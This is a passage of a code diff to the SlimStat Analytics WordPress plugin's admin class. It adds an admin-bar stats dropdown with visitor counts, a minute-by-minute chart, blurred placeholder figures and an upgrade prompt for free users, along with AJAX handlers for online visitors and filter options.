__DIR__),\n+                [],\n+                SLIMSTAT_ANALYTICS_VERSION\n+            );\n+\n+            \u002F\u002F Enqueue admin bar realtime JS for online visitors update (frontend only)\n+            \u002F\u002F In admin, admin.js handles this via slimstat:minute_pulse\n+            if (!is_admin()) {\n+                wp_enqueue_script(\n+                    'slimstat-adminbar-realtime',\n+                    plugins_url('\u002Fadmin\u002Fassets\u002Fjs\u002Fadminbar-realtime.js', __DIR__),\n+                    [],\n+                    SLIMSTAT_ANALYTICS_VERSION,\n+                    true\n+                );\n+\n+                wp_localize_script('slimstat-adminbar-realtime', 'SlimStatAdminBar', [\n+                    'ajax_url' => admin_url('admin-ajax.php'),\n+                    'security' => wp_create_nonce('meta-box-order'),\n+                ]);\n+            }\n+        }\n+    }\n+\n+    \u002F\u002F END: enqueue_adminbar_styles\n+\n+    \u002F**\n+     * Adds a new entry in the WordPress Admin Bar with stats modal\n      *\u002F\n     public static function add_menu_to_adminbar()\n     {\n@@ -747,51 +1057,247 @@\n             $minimum_capability = wp_slimstat::$settings['capability_can_view'];\n         }\n \n-        \u002F\u002F Find the first available location (screens with no reports assigned to them are hidden from the nav)\n-        $parent = 'slimview1';\n-        if (is_array(self::$meta_user_reports)) {\n-            $parent = '';\n-            foreach (self::$screens_info as $a_screen_id => $a_screen_info) {\n-                if (!empty(self::$meta_user_reports[$a_screen_id]) && $a_screen_info['show_in_sidebar']) {\n-                    $parent = $a_screen_id;\n-                    break;\n-                }\n-            }\n-\n-            if (empty($parent)) {\n-                $parent = 'slimlayout';\n-            }\n+        if (!current_user_can($minimum_capability)) {\n+            return;\n         }\n \n-        if (current_user_can($minimum_capability)) {\n-            $view_url = get_admin_url($GLOBALS['blog_id'], 'admin.php?page=');\n-\n-            $GLOBALS['wp_admin_bar']->add_menu([\n-                'id'    => 'slimstat-header',\n-                'title' => '\u003Cspan class=\"ab-icon dashicons dashicons-chart-area\" style=\"font-size:1rem;margin-top:3px\">\u003C\u002Fspan>' . __('Slimstat', 'wp-slimstat'),\n-                'href'  => $view_url . $parent,\n-            ]);\n-\n-            foreach (self::$screens_info as $a_screen_id => $a_screen_info) {\n-                if (isset(self::$meta_user_reports[$a_screen_id]) && empty(self::$meta_user_reports[$a_screen_id])) {\n-                    continue;\n-                }\n-\n-                $minimum_capability = 'read';\n-                if (!empty($a_screen_info['capability']) && false === strpos(wp_slimstat::$settings[$a_screen_info['capability']], (string) $GLOBALS['current_user']->user_login) && !empty(wp_slimstat::$settings['capability_' . $a_screen_info['capability']])) {\n-                    $minimum_capability = wp_slimstat::$settings['capability_' . $a_screen_info['capability']];\n-                }\n-\n-                if ($a_screen_info['show_in_sidebar'] && current_user_can($minimum_capability)) {\n-                    $GLOBALS['wp_admin_bar']->add_menu([\n-                        'id'     => $a_screen_id,\n-                        'href'   => $view_url . $a_screen_id,\n-                        'parent' => 'slimstat-header',\n-                        'title'  => $a_screen_info['title'],\n-                    ]);\n+        global $wpdb;\n+        $table = \"{$wpdb->prefix}slim_stats\";\n+        $today_start = mktime(0, 0, 0);\n+        $yesterday_start = $today_start - 86400;\n+        $yesterday_end = $today_start - 1;\n+\n+        \u002F\u002F Visitors Today (unique IPs)\n+        $visitors_today = (int) $wpdb->get_var($wpdb->prepare(\n+            \"SELECT COUNT(DISTINCT ip) FROM {$table} WHERE dt >= %d\",\n+            $today_start\n+        ));\n+\n+        \u002F\u002F Views Today (pageviews)\n+        $views_today = (int) $wpdb->get_var($wpdb->prepare(\n+            \"SELECT COUNT(id) FROM {$table} WHERE dt >= %d\",\n+            $today_start\n+        ));\n+\n+        \u002F\u002F Yesterday's visitors\n+        $visitors_yesterday = (int) $wpdb->get_var($wpdb->prepare(\n+            \"SELECT COUNT(DISTINCT ip) FROM {$table} WHERE dt BETWEEN %d AND %d\",\n+            $yesterday_start, $yesterday_end\n+        ));\n+\n+        \u002F\u002F Yesterday's views\n+        $views_yesterday = (int) $wpdb->get_var($wpdb->prepare(\n+            \"SELECT COUNT(id) FROM {$table} WHERE dt BETWEEN %d AND %d\",\n+            $yesterday_start, $yesterday_end\n+        ));\n+\n+        \u002F\u002F Referrals Today (external referrers only)\n+        $site_host = parse_url(home_url(), PHP_URL_HOST);\n+        $referrals_today = (int) $wpdb->get_var($wpdb->prepare(\n+            \"SELECT COUNT(id) FROM {$table} WHERE dt >= %d AND referer IS NOT NULL AND referer NOT LIKE %s\",\n+            $today_start, '%' . $wpdb->esc_like($site_host) . '%'\n+        ));\n+\n+        \u002F\u002F Referrals Yesterday\n+        $referrals_yesterday = (int) $wpdb->get_var($wpdb->prepare(\n+            \"SELECT COUNT(id) FROM {$table} WHERE dt BETWEEN %d AND %d AND referer IS NOT NULL AND referer NOT LIKE %s\",\n+            $yesterday_start, $yesterday_end, '%' . $wpdb->esc_like($site_host) . '%'\n+        ));\n+\n+        \u002F\u002F Online Users — same 30-minute window query as header.php\n+        $current_minute_start = (int) floor(current_time('timestamp') \u002F 60) * 60;\n+        $window_minutes = 30;\n+        $window_start = $current_minute_start - (($window_minutes - 1) * 60);\n+\n+        $online_count = (int) $wpdb->get_var($wpdb->prepare(\n+            \"SELECT COUNT(*) FROM (\n+                SELECT visit_id, MAX(\n+                    CASE\n+                        WHEN dt_out IS NOT NULL AND dt_out > 0 AND dt_out >= dt THEN dt_out\n+                        ELSE dt\n+                    END\n+                ) AS last_activity\n+                FROM {$table}\n+                WHERE visit_id > 0\n+                    AND (dt >= %d OR (dt_out IS NOT NULL AND dt_out >= %d))\n+                GROUP BY visit_id\n+                HAVING (FLOOR(last_activity \u002F 60) * 60 + 59) >= %d\n+            ) live_sessions\",\n+            $window_start, $window_start, $window_start\n+        ));\n+        $online_count = max(0, $online_count);\n+\n+        \u002F\u002F Determine premium status early (needed for chart data)\n+        $is_pro = wp_slimstat::pro_is_installed();\n+\n+        \u002F\u002F Query minute-by-minute data for the CSS bar chart (30-minute window)\n+        \u002F\u002F Only fetch real data for Pro users\n+        if ($is_pro) {\n+            $minute_data_raw = $wpdb->get_results($wpdb->prepare(\n+                \"SELECT\n+                    FLOOR(dt \u002F 60) * 60 AS minute_bucket,\n+                    COUNT(DISTINCT visit_id) AS visitor_count\n+                 FROM {$table}\n+                 WHERE dt >= %d AND dt \u003C= %d AND visit_id > 0\n+                 GROUP BY minute_bucket\n+                 ORDER BY minute_bucket ASC\",\n+                $window_start, $current_minute_start + 59\n+            ), ARRAY_A);\n+\n+            \u002F\u002F Build minute data array (30 slots)\n+            $minute_data = array_fill(0, 30, 0);\n+            foreach ($minute_data_raw as $row) {\n+                $bucket = (int) $row['minute_bucket'];\n+                $index = (int) (($bucket - $window_start) \u002F 60);\n+                if ($index >= 0 && $index \u003C 30) {\n+                    $minute_data[$index] = (int) $row['visitor_count'];\n                 }\n             }\n+            $max_count = max(1, max($minute_data));\n+        } else {\n+            \u002F\u002F Fake placeholder data for non-Pro users\n+            $minute_data = [3, 5, 4, 7, 6, 8, 5, 9, 7, 6, 8, 10, 7, 5, 6, 8, 9, 7, 6, 5, 8, 10, 9, 7, 6, 8, 5, 7, 6, 8];\n+            $max_count = 10;\n+        }\n+\n+        \u002F\u002F Build chart HTML\n+        $chart_bars = '';\n+        $total_bars = count($minute_data);\n+        foreach ($minute_data as $i => $count) {\n+            $height_pct = round(($count \u002F $max_count) * 100);\n+            $is_peak = ($count === $max_count && $count > 0);\n+            $bar_class = $is_peak ? ' slimstat-adminbar__chart-bar--peak' : '';\n+            $minutes_ago = $total_bars - 1 - $i; \u002F\u002F 29 for first bar, 0 for last bar\n+            $time_text = $minutes_ago === 0\n+                ? esc_html__('Now', 'wp-slimstat')\n+                : sprintf('%d %s', $minutes_ago, esc_html__('min ago', 'wp-slimstat'));\n+            $chart_bars .= sprintf(\n+                '\u003Cdiv class=\"slimstat-adminbar__chart-bar%s\" style=\"height:%d%%\" data-count=\"%d\" data-minutes-ago=\"%d\">'\n+                . '\u003Cspan class=\"slimstat-adminbar__chart-tooltip\">'\n+                . '\u003Cstrong>%s\u003C\u002Fstrong>'\n+                . '%s: %d\u003Cbr>'\n+                . '%s'\n+                . '\u003C\u002Fspan>\u003C\u002Fdiv>',\n+                $bar_class,\n+                max($height_pct, 3), \u002F\u002F minimum 3% for visibility\n+                $count,\n+                $minutes_ago,\n+                esc_html__('Online Users', 'wp-slimstat'),\n+                esc_html__('Count', 'wp-slimstat'),\n+                $count,\n+                $time_text\n+            );\n+        }\n+        $view_url = get_admin_url($GLOBALS['blog_id'], 'admin.php?page=');\n+        $overview_url = $view_url . 'slimview2';\n+        $upgrade_url = 'https:\u002F\u002Fwp-slimstat.com\u002Fpricing\u002F?utm_source=wp-slimstat&utm_medium=link&utm_campaign=adminbar';\n+\n+        \u002F\u002F Add parent node\n+        $GLOBALS['wp_admin_bar']->add_menu([\n+            'id'    => 'slimstat-header',\n+            'title' => '\u003Cspan class=\"ab-icon dashicons dashicons-chart-area\" style=\"font-size:1rem;margin-top:3px\">\u003C\u002Fspan>'\n+                     . sprintf(__('Online: %s', 'wp-slimstat'), '\u003Cspan id=\"slimstat-adminbar-online-header\">' . number_format_i18n($online_count) . '\u003C\u002Fspan>'),\n+            'href'  => $overview_url,\n+        ]);\n+\n+        \u002F\u002F Add stats grid node\n+        \u002F\u002F For non-Pro users, show fake data for Views and Referrals\n+        $views_display = $is_pro ? number_format_i18n($views_today) : '248';\n+        $views_yesterday_display = $is_pro ? number_format_i18n($views_yesterday) : '312';\n+        $referrals_display = $is_pro ? number_format_i18n($referrals_today) : '18';\n+        $referrals_yesterday_display = $is_pro ? number_format_i18n($referrals_yesterday) : '24';\n+        $blur_class = $is_pro ? '' : ' slimstat-adminbar__stat-card--blur';\n+\n+        $stats_html = '\u003Cdiv class=\"slimstat-adminbar__stats-grid\">'\n+            \u002F\u002F Online Users (top left)\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-card\">'\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-title\">' . esc_html__('Online Users', 'wp-slimstat')\n+            . ' \u003Cspan class=\"slimstat-adminbar__realtime-dot\">\u003C\u002Fspan>\u003C\u002Fdiv>'\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-count\" id=\"slimstat-adminbar-online-count\">' . number_format_i18n($online_count) . '\u003C\u002Fdiv>'\n+            . '\u003Cdiv class=\"slimstat-adminbar__realtime-badge\">'\n+            . '\u003Cspan class=\"slimstat-adminbar__realtime-pulse\">\u003C\u002Fspan> '\n+            . esc_html__('Realtime', 'wp-slimstat') . '\u003C\u002Fdiv>'\n+            . '\u003C\u002Fdiv>'\n+            \u002F\u002F Visitors Today (top right)\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-card\">'\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-title\">' . esc_html__('Visitors Today', 'wp-slimstat') . '\u003C\u002Fdiv>'\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-count\">' . number_format_i18n($visitors_today) . '\u003C\u002Fdiv>'\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-comparison\">'\n+            . sprintf(esc_html__('was %s last day', 'wp-slimstat'), number_format_i18n($visitors_yesterday))\n+            . '\u003C\u002Fdiv>\u003C\u002Fdiv>'\n+            \u002F\u002F Views Today (bottom left) - blur for non-Pro\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-card' . $blur_class . '\">'\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-title\">' . esc_html__('Views Today', 'wp-slimstat') . '\u003C\u002Fdiv>'\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-count\">' . $views_display . '\u003C\u002Fdiv>'\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-comparison\">'\n+            . sprintf(esc_html__('was %s last day', 'wp-slimstat'), $views_yesterday_display)\n+            . '\u003C\u002Fdiv>\u003C\u002Fdiv>'\n+            \u002F\u002F Referrals Today (bottom right) - blur for non-Pro\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-card' . $blur_class . '\">'\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-title\">' . esc_html__('Referrals Today', 'wp-slimstat') . '\u003C\u002Fdiv>'\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-count\">' . $referrals_display . '\u003C\u002Fdiv>'\n+            . '\u003Cdiv class=\"slimstat-adminbar__stat-comparison\">'\n+            . sprintf(esc_html__('was %s last day', 'wp-slimstat'), $referrals_yesterday_display)\n+            . '\u003C\u002Fdiv>\u003C\u002Fdiv>'\n+            . '\u003C\u002Fdiv>';\n+\n+        $GLOBALS['wp_admin_bar']->add_node([\n+            'id'     => 'slimstat-adminbar-stats',\n+            'parent' => 'slimstat-header',\n+            'title'  => $stats_html,\n+            'meta'   => ['class' => 'slimstat-adminbar__stats-wrapper'],\n+        ]);\n+\n+        \u002F\u002F Add chart node\n+        $chart_wrapper_class = $is_pro ? 'slimstat-adminbar__chart-container' : 'slimstat-adminbar__chart-container slimstat-adminbar__chart-blur';\n+        $chart_html = '\u003Cdiv class=\"' . $chart_wrapper_class . '\">'\n+            . '\u003Cdiv class=\"slimstat-adminbar__chart-bars\">' . $chart_bars . '\u003C\u002Fdiv>'\n+            . '\u003C\u002Fdiv>';\n+\n+        $GLOBALS['wp_admin_bar']->add_node([\n+            'id'     => 'slimstat-adminbar-chart',\n+            'parent' => 'slimstat-header',\n+            'title'  => $chart_html,\n+            'meta'   => ['class' => 'slimstat-adminbar__chart-wrapper'],\n+        ]);\n+\n+        \u002F\u002F Add CTA node (free users only)\n+        if (!$is_pro) {\n+            $cta_html = '\u003Cdiv class=\"slimstat-adminbar__cta\">'\n+                . '\u003Cdiv class=\"slimstat-adminbar__cta-text\">'\n+                . esc_html__('Unlock the Full Power of SlimStat Analytics', 'wp-slimstat')\n+                . '\u003C\u002Fdiv>'\n+                . '\u003Ca href=\"' . esc_url($upgrade_url) . '\" target=\"_blank\" class=\"slimstat-adminbar__cta-button\">'\n+                . esc_html__('Unlock SlimStat Pro', 'wp-slimstat') . '\u003C\u002Fa>'\n+                . '\u003C\u002Fdiv>';\n+\n+            $GLOBALS['wp_admin_bar']->add_node([\n+                'id'     => 'slimstat-adminbar-cta',\n+                'parent' => 'slimstat-header',\n+                'title'  => $cta_html,\n+                'meta'   => ['class' => 'slimstat-adminbar__cta-wrapper'],\n+            ]);\n         }\n+\n+        \u002F\u002F Add footer node\n+        $footer_html = '\u003Cdiv class=\"slimstat-adminbar__footer\">'\n+            . '\u003Cdiv class=\"slimstat-adminbar__footer-logo\">'\n+            . '\u003Csvg width=\"20\" height=\"20\" viewBox=\"0 0 30 30\" fill=\"none\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">'\n+            . '\u003Cpath fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M0 15C0 6.71582 6.7069 0 14.9801 0C20.2546 0 24.8865 2.72788 27.5572 6.84316L19.371 15.1743H19.3643V15.1877C19.0765 15.4893 18.5946 15.496 18.2934 15.2011C18.2599 15.1743 18.2331 15.1408 18.2064 15.1005L15.9239 11.9638C13.9627 9.27614 10.047 9.03485 7.77787 11.4678L0.589029 19.1756C0.194112 17.8217 0 16.4142 0 15ZM2.69079 23.5858C5.40167 27.4665 9.89302 30.0067 14.9801 30.0067C23.2533 30.0067 29.9602 23.2909 29.9602 15.0067C29.9602 13.7399 29.8062 12.5134 29.5117 11.3405L22.604 18.3646C20.3148 20.7172 16.466 20.4424 14.5316 17.7949L12.2491 14.6582C12.0015 14.3231 11.5329 14.2426 11.1916 14.4906C11.1514 14.5174 11.1179 14.5509 11.0845 14.5845L2.69079 23.5858Z\" fill=\"#F22F46\"\u002F>'\n+            . '\u003C\u002Fsvg>'\n+            . '\u003Cspan class=\"slimstat-adminbar__footer-brand\">SlimStat\u003C\u002Fspan>'\n+            . '\u003C\u002Fdiv>'\n+            . '\u003Ca href=\"' . esc_url($overview_url) . '\" class=\"slimstat-adminbar__footer-link\">'\n+            . esc_html__('Explore Details', 'wp-slimstat')\n+            . ' \u003Cspan class=\"dashicons dashicons-external\" style=\"font-size:12px\">\u003C\u002Fspan>'\n+            . '\u003C\u002Fa>\u003C\u002Fdiv>';\n+\n+        $GLOBALS['wp_admin_bar']->add_node([\n+            'id'     => 'slimstat-adminbar-footer',\n+            'parent' => 'slimstat-header',\n+            'title'  => $footer_html,\n+            'meta'   => ['class' => 'slimstat-adminbar__footer-wrapper'],\n+        ]);\n     }\n \n     \u002F\u002F END: add_menu_to_adminbar\n@@ -814,7 +1320,17 @@\n         include(__DIR__ . '\u002Fview\u002Flayout.php');\n     }\n \n-    \u002F\u002F END: wp_slimstat_include_addons\n+    \u002F\u002F END: wp_slimstat_include_layout\n+\n+    \u002F**\n+     * Includes the email report screen\n+     *\u002F\n+    public static function wp_slimstat_include_email_report()\n+    {\n+        include(__DIR__ . '\u002Fview\u002Femail-report.php');\n+    }\n+\n+    \u002F\u002F END: wp_slimstat_include_email_report\n \n     \u002F**\n      * Handles the upgrade to pro from the free version\n@@ -882,7 +1398,7 @@\n                 }\n             }\n         }\n-        \n+\n         return null;\n     }\n \n@@ -894,7 +1410,7 @@\n     public static function add_column_header($_columns = [])\n     {\n         if (0 == wp_slimstat::$settings['posts_column_day_interval']) {\n-            wp_slimstat::$settings['posts_column_day_interval'] = 30;\n+            wp_slimstat::$settings['posts_column_day_interval'] = 28;\n         }\n \n         if ('on' == wp_slimstat::$settings['posts_column_pageviews']) {\n@@ -941,7 +1457,7 @@\n         } else {\n             echo '\u003Cdiv class=\"notice notice-' . esc_attr($_type) . ' slimstat-notice\">' . $_message . '\u003C\u002Fdiv>';\n         }\n-        \n+\n         return null;\n     }\n \n@@ -957,27 +1473,6 @@\n \n     \u002F\u002F END: show_latest_news\n \n-    \u002F**\n-     * Displays a message if this user speaks a language other than English, to encourage them to help us translate Slimstat in their language\n-     *\u002F\n-    public static function show_translate_notice()\n-    {\n-        \u002F\u002F echo '\u003Cdiv class=\"notice slimstat-notice\" style=\"padding:10px\">\u003Cspan>'.self::$admin_notice.'\u003C\u002Fspan>\u003C\u002Fdiv>';\n-        include_once(plugin_dir_path(__FILE__) . '..\u002Flanguages\u002Fi18n-v3.php');\n-        include_once(plugin_dir_path(__FILE__) . '..\u002Flanguages\u002Fi18n-wordpressorg-v3.php');\n-\n-        $i18n_module = new Yoast_I18n_WordPressOrg_v3(\n-            [\n-                'textdomain'  => 'wp-slimstat',\n-                'plugin_name' => 'Slimstat Analytics',\n-            ],\n-            false\n-        );\n-\n-        self::show_message($i18n_module->get_promo_message(), 'warning', 'translate');\n-    }\n-\n-    \u002F\u002F END: show_translate_notice\n \n     \u002F**\n      * Handles the Ajax request to hide the admin notice\n@@ -1012,7 +1507,6 @@\n         if (!$current_user_can_delete || !wp_verify_nonce($_POST['security'], 'meta-box-order')) {\n             return;\n         }\n-\n         $my_wpdb->query(sprintf('DELETE ts FROM %sslim_stats ts WHERE ts.id = %d', $GLOBALS['wpdb']->prefix, $pageview_id));\n         exit();\n     }\n@@ -1064,12 +1558,15 @@\n             return;\n         }\n \n+        \u002F\u002F Initialize the new Reports system FIRST before legacy system loads\n+        \\SlimStat\\Reports\\Bootstrap::get_instance()->init();\n+\n         include_once(plugin_dir_path(__FILE__) . 'view\u002Fwp-slimstat-reports.php');\n         wp_slimstat_reports::init();\n \n         $saved_filters = get_option('slimstat_filters', []);\n \n-        switch ($_POST['type']) {\n+        switch (sanitize_key(wp_unslash($_POST['type'] ?? ''))) {\n             case 'save':\n                 $new_filter = json_decode(stripslashes_deep(sanitize_text_field($_POST['filter_array'])), true);\n \n@@ -1130,34 +1627,439 @@\n \n     \u002F\u002F END: manage_filters\n \n-    public static function update_geoip_database()\n+    \u002F**\n+     * AJAX handler to get current online visitors count\n+     *\u002F\n+    public static function get_online_visitors()\n     {\n-        check_ajax_referer('wp_rest', 'security');\n+        check_ajax_referer('meta-box-order', 'security');\n+\n+        \u002F\u002F If this user is whitelisted, we use the minimum capability\n+        $minimum_capability = 'read';\n+        if (false === strpos(wp_slimstat::$settings['can_view'], (string) $GLOBALS['current_user']->user_login) && !empty(wp_slimstat::$settings['capability_can_view'])) {\n+            $minimum_capability = wp_slimstat::$settings['capability_can_view'];\n+        }\n+\n+        if (!current_user_can($minimum_capability)) {\n+            wp_send_json_error(['message' => 'Insufficient permissions']);\n+            return;\n+        }\n \n-        try {\n-            $geographicProvider = new GeoService();\n+        global $wpdb;\n+        $table = \"{$wpdb->prefix}slim_stats\";\n+        $current_minute_start = (int) floor(current_time('timestamp') \u002F 60) * 60;\n+        $window_minutes = 30; \u002F\u002F 30 minutes - synced with Live Analytics Users Live\n+        $window_start = $current_minute_start - (($window_minutes - 1) * 60);\n+\n+        $sql = $wpdb->prepare(\n+            \"\n+            SELECT COUNT(*) FROM (\n+                SELECT visit_id, MAX(\n+                    CASE\n+                        WHEN dt_out IS NOT NULL AND dt_out > 0 AND dt_out >= dt THEN dt_out\n+                        ELSE dt\n+                    END\n+                ) AS last_activity\n+                FROM {$table}\n+                WHERE visit_id > 0\n+                    AND (\n+                        dt >= %d\n+                        OR ( dt_out IS NOT NULL AND dt_out >= %d )\n+                    )\n+                GROUP BY visit_id\n+                HAVING (FLOOR(last_activity \u002F 60) * 60 + 59) >= %d\n+            ) live_sessions\n+            \",\n+            $window_start,\n+            $window_start,\n+            $window_start\n+        );\n \n-            $result = $geographicProvider\n-                ->setUpdate(true)\n-                ->setEnableMaxmind(\\wp_slimstat::$settings['enable_maxmind'])\n-                ->setMaxmindLicense(\\wp_slimstat::$settings['maxmind_license_key'])\n-                ->download();\n+        $online_visitors = (int) $wpdb->get_var($sql);\n+        $online_visitors = max(0, (int) $online_visitors);\n \n-            wp_send_json_success($result['notice']);\n-        } catch (\\Exception $exception) {\n+        wp_send_json_success([\n+            'count' => $online_visitors,\n+            'formatted' => number_format_i18n($online_visitors)\n+        ]);\n+    }\n \n-            wp_send_json_error($exception->getMessage());\n+    \u002F\u002F END: get_online_visitors\n+\n+    \u002F**\n+     * Helper function to get icon URL for filter options\n+     *\u002F\n+    private static function get_filter_icon_url($dimension, $value)\n+    {\n+        $icon_url = '';\n+\n+        switch ($dimension) {\n+            case 'country':\n+                \u002F\u002F Country flags are SVG files named by country code (lowercase)\n+                $country_code = strtolower($value);\n+                $flag_rel = '\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002F' . $country_code . '.svg';\n+                $flag_path = SLIMSTAT_ANALYTICS_DIR . $flag_rel;\n+                if (is_readable($flag_path)) {\n+                    $icon_url = SLIMSTAT_ANALYTICS_URL . $flag_rel;\n+                }\n+                break;\n+\n+            case 'browser':\n+                \u002F\u002F Browser icons are PNG files named by browser name (lowercase)\n+                $browser_name = strtolower($value);\n+                $browser_rel = '\u002Fadmin\u002Fassets\u002Fimages\u002Fbrowsers\u002F' . $browser_name . '.png';\n+                $browser_path = SLIMSTAT_ANALYTICS_DIR . $browser_rel;\n+                if (is_readable($browser_path)) {\n+                    $icon_url = SLIMSTAT_ANALYTICS_URL . $browser_rel;\n+                }\n+                break;\n+\n+            case 'language':\n+                \u002F\u002F Language flags use the last part of the language code (e.g., en-US -> us)\n+                $language_parts = explode('-', $value);\n+                $last_part = strtolower(end($language_parts));\n+                $flag_rel = '\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002F' . $last_part . '.svg';\n+                $flag_path = SLIMSTAT_ANALYTICS_DIR . $flag_rel;\n+                if (is_readable($flag_path)) {\n+                    $icon_url = SLIMSTAT_ANALYTICS_URL . $flag_rel;\n+                }\n+                break;\n+\n+            case 'platform':\n+                \u002F\u002F Platform\u002FOS icons are WEBP files with abbreviated names\n+                $os_map = [\n+                    'win' => 'win',\n+                    'windows' => 'win',\n+                    'mac' => 'mac',\n+                    'macosx' => 'mac',\n+                    'linux' => 'lin',\n+                    'ubuntu' => 'ubu',\n+                    'android' => 'and',\n+                    'ios' => 'ios',\n+                    'chrome os' => 'chr',\n+                    'chromeos' => 'chr',\n+                ];\n+\n+                $os_lower = strtolower($value);\n+                $os_icon = null;\n+\n+                \u002F\u002F Check if exact match exists in map\n+                if (isset($os_map[$os_lower])) {\n+                    $os_icon = $os_map[$os_lower];\n+                } else {\n+                    \u002F\u002F Check if value contains any of the keys\n+                    foreach ($os_map as $key => $icon) {\n+                        if (strpos($os_lower, $key) !== false) {\n+                            $os_icon = $icon;\n+                            break;\n+                        }\n+                    }\n+                }\n+\n+                if ($os_icon) {\n+                    $os_rel = '\u002Fadmin\u002Fassets\u002Fimages\u002Fos\u002F' . $os_icon . '.webp';\n+                    $os_path = SLIMSTAT_ANALYTICS_DIR . $os_rel;\n+                    if (is_readable($os_path)) {\n+                        $icon_url = SLIMSTAT_ANALYTICS_URL . $os_rel;\n+                    }\n+                }\n+                break;\n+\n+            case 'username':\n+                \u002F\u002F For users, we'll use WordPress gravatar\n+                \u002F\u002F This will be handled separately in the JavaScript\n+                break;\n         }\n+\n+        return $icon_url;\n     }\n \n-    public static function check_geoip_database()\n+    \u002F**\n+     * AJAX handler to get distinct filter options for a selected dimension\n+     *\u002F\n+    public static function get_filter_options()\n     {\n-        check_ajax_referer('wp_rest', 'security');\n+        check_ajax_referer('meta-box-order', 'security');\n+\n+        \u002F\u002F If this user is whitelisted, we use the minimum capability\n+        $minimum_capability = 'read';\n+        if (false === strpos(wp_slimstat::$settings['can_view'], (string) $GLOBALS['current_user']->user_login) && !empty(wp_slimstat::$settings['capability_can_view'])) {\n+            $minimum_capability = wp_slimstat::$settings['capability_can_view'];\n+        }\n+\n+        if (!current_user_can($minimum_capability)) {\n+            wp_send_json_error('Insufficient permissions');\n+            return;\n+        }\n+\n+        $dimension = sanitize_text_field($_POST['dimension'] ?? '');\n+\n+        \u002F\u002F Validate dimension exists in columns_names\n+        include_once(plugin_dir_path(__FILE__) . 'view\u002Fwp-slimstat-db.php');\n+\n+        \u002F\u002F We only need the columns_names array, not the full init with filters\n+        if (empty(wp_slimstat_db::$columns_names)) {\n+            wp_slimstat_db::$columns_names = [\n+                'id' => ['ID', 'number'],\n+                'ip' => ['IP', 'varchar'],\n+                'other_ip' => ['Other IP', 'varchar'],\n+                'username' => ['Username', 'varchar'],\n+                'email' => ['Email', 'varchar'],\n+                'country' => ['Country', 'varchar'],\n+                'location' => ['Location', 'varchar'],\n+                'city' => ['City', 'varchar'],\n+                'referer' => ['Referer', 'varchar'],\n+                'resource' => ['Resource', 'varchar'],\n+                'searchterms' => ['Search Terms', 'varchar'],\n+                'notes' => ['Notes', 'varchar'],\n+                'visit_id' => ['Visit ID', 'number'],\n+                'server_latency' => ['Server Latency', 'number'],\n+                'page_performance' => ['Page Performance', 'number'],\n+                'browser' => ['Browser', 'varchar'],\n+                'browser_version' => ['Browser Version', 'varchar'],\n+                'browser_type' => ['Browser Type', 'number'],\n+                'platform' => ['Platform', 'varchar'],\n+                'language' => ['Language', 'varchar'],\n+                'fingerprint' => ['Fingerprint', 'varchar'],\n+                'user_agent' => ['User Agent', 'varchar'],\n+                'resolution' => ['Resolution', 'varchar'],\n+                'screen_width' => ['Screen Width', 'number'],\n+                'screen_height' => ['Screen Height', 'number'],\n+                'content_type' => ['Content Type', 'varchar'],\n+                'category' => ['Category', 'varchar'],\n+                'author' => ['Author', 'varchar'],\n+                'content_id' => ['Content ID', 'number'],\n+                'outbound_resource' => ['Outbound Resource', 'varchar'],\n+                'tz_offset' => ['Timezone Offset', 'number'],\n+                'dt_out' => ['Date Time Out', 'number'],\n+                'dt' => ['Date Time', 'number'],\n+            ];\n+        }\n+\n+        if (empty($dimension) || !isset(wp_slimstat_db::$columns_names[$dimension])) {\n+            wp_send_json_error('Invalid dimension');\n+            return;\n+        }\n+\n+        \u002F\u002F Get time range parameters from AJAX request\n+        $time_range_type = sanitize_text_field($_POST['time_range_type'] ?? 'last_28_days');\n+        $time_range_from = sanitize_text_field($_POST['time_range_from'] ?? '');\n+        $time_range_to = sanitize_text_field($_POST['time_range_to'] ?? '');\n+\n+        \u002F\u002F Calculate time range timestamps\n+        $time_start = null;\n+        $time_end = null;\n+\n+        if ($time_range_type === 'custom' && !empty($time_range_from) && !empty($time_range_to)) {\n+            \u002F\u002F Custom date range\n+            $time_start = strtotime($time_range_from);\n+            $time_end = strtotime($time_range_to . ' 23:59:59');\n+        } else {\n+            \u002F\u002F Preset date range\n+            $preset_range = DateRangeHelper::get_range_by_preset($time_range_type);\n+            if ($preset_range) {\n+                $time_start = $preset_range['start'];\n+                $time_end = $preset_range['end'];\n+            }\n+        }\n+\n+        \u002F\u002F Fallback to last 28 days if no valid time range\n+        if (empty($time_start) || empty($time_end)) {\n+            $preset_range = DateRangeHelper::get_range_by_preset('last_28_days');\n+            if ($preset_range) {\n+                $time_start = $preset_range['start'];\n+                $time_end = $preset_range['end'];\n+            }\n+        }\n+\n+        \u002F\u002F Get distinct values for this dimension via SlimStat\\Utils\\Query abstraction\n+        $table_name = $GLOBALS['wpdb']->prefix . 'slim_stats';\n+\n+        \u002F\u002F Limit results to prevent overwhelming the dropdown (filterable for customization)\n+        $limit = apply_filters('slimstat_filter_options_limit', 500, $dimension);\n+        $limit = absint($limit); \u002F\u002F Ensure it's a positive integer\n+\n+        \u002F\u002F Enforce reasonable bounds to prevent abuse\n+        if ($limit \u003C 1 || $limit > 5000) {\n+            $limit = 500; \u002F\u002F Reset to default if out of reasonable range\n+        }\n+\n+        \u002F\u002F Sanitize column name to prevent SQL injection (only allow known columns)\n+        $allowed_columns = array_keys(wp_slimstat_db::$columns_names);\n+        if (!in_array($dimension, $allowed_columns, true)) {\n+            wp_send_json_error('Invalid column');\n+            return;\n+        }\n+\n+        \u002F\u002F Additional sanitization layer for column name (defense in depth)\n+        $safe_dimension = esc_sql($dimension);\n 